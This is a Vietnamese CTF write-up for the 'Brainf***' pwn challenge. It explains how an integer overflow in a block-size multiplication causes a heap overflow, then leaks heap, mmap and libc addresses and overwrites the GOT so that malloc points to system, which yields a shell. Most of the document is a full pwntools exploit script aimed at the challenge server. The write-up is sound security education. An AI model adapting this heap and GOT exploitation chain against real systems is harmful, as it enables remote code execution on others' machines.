🍜FUSec - Brainf***
Explain:
Nhìn vào hàm brain_run có thể thấy 2 phần có chứa 1 lỗi overflow:

2 hàm case trên đều chứa lỗi không kiểm soát tốt buffer. Mà 2 con trỏ kia đều thuộc phân vùng heap.
Vậy nên ta có thể sử dụng 1 lỗi đó là Heap Overflow để khai thác.
Đây là phần tính size để overflow:

Nhưng làm thế nào để Overflow?
Thì do đây là phép nhân nên ta lấy 2 số đủ lớn thì allocated_block sẽ cực nhỏ (Unsigned Integer Overflow
).
sla(b'(blocks)?', str(0x80000000).encode()) #sla = sendlineafter
sla(b'(bytes)?', str(0x100).encode())
Sau đó chương trình còn malloc thêm cả đoạn code brainf*** nên ở đây mình cho size của nó cực lớn để nó sử dụng nmap thì sẽ không chèn vào giữa 2 chunk_pointer và object.
sla(b'bytes)?', str(0x300000).encode())
Attack:
Đầu tiên là in ra để leak
mmap
vàheap
để khi overwrite sẽ không bị lỗiDựa vào đoạn code này thì overwrite
machine->data_pointer
thànhelf.symbols['puts']
Setup các got sao cho
malloc->system
và gọi vềexit->main
Khi malloc dã thành
system
thì làm choallocated_size
trỏ đến địa chỉ của/bin/sh
là được. Ở đây mình set/bin/sh
ở trên heap.
payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(code + 1) + p64(heap + 0x2a0) + p64(elf.got['puts'])
Sửa got
payload = flat(
libc.symbols['puts'],
libc.symbols['write'],
libc.symbols['__stack_chk_fail'],
libc.symbols['printf'],
libc.symbols['memset'],
libc.symbols['alarm'],
libc.symbols['read'],
libc.symbols['signal'],
libc.symbols['system'], #malloc
libc.symbols['setvbuf'],
libc.symbols['atoi'],
elf.symbols['main']
)
Get shell
binsh = heap + 0x2a0
sla(b'(blocks)?', str(1).encode())
sla(b'(bytes)?', str(binsh).encode())
sla(b'bytes)?', str(0x300000).encode())
Result:

Full Payload:
#!/usr/bin/python3
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('brainf')
libc = ELF('libc.so.6')
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def GDB(proc):
gdb.attach(p, gdbscript='''
b brain_run
c
b write
b read
c
c
c
''')
context.log_level = 'debug'
#p = process()
#GDB(p)
p = remote('challenge.fuctf.com', 8005)
sla(b'(blocks)?', str(0x80000000).encode())
sla(b'(bytes)?', str(0x100).encode())
sla(b'bytes)?', str(0x300000).encode())
payload = b'+'*0x120 + b'.' + b',' + b'.' + b','
sla(b'bytes?', payload)
ru(b'code_size')
rl()
r(0x20)
leak = r(8)
leak = u64(leak)
print('leak: ', hex(leak))
code = leak
print('code: ', hex(code))
leak = r(8)
leak = u64(leak)
heap = leak - 0x2a0
print('leak: ', hex(leak))
print('heap: ', hex(heap))
payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(code + 1) + p64(heap + 0x2a0) + p64(elf.got['puts'])
r(0x100)
s(payload)
got = r(0x100)
puts = got[0:8]
puts = u64(puts)
print('puts: ', puts)
libc.address = puts - libc.symbols['puts']
print('libc: ', hex(libc.address))
payload = flat(
libc.symbols['puts'],
libc.symbols['write'],
libc.symbols['__stack_chk_fail'],
libc.symbols['printf'],
libc.symbols['memset'],
libc.symbols['alarm'],
libc.symbols['read'],
libc.symbols['signal'],
libc.symbols['system'], #malloc
libc.symbols['setvbuf'],
libc.symbols['atoi'],
elf.symbols['main']
)
s(payload)
binsh = heap + 0x2a0
sla(b'(blocks)?', str(1).encode())
sla(b'(bytes)?', str(binsh).encode())
sla(b'bytes)?', str(0x300000).encode())
p.interactive()
File:
Last updated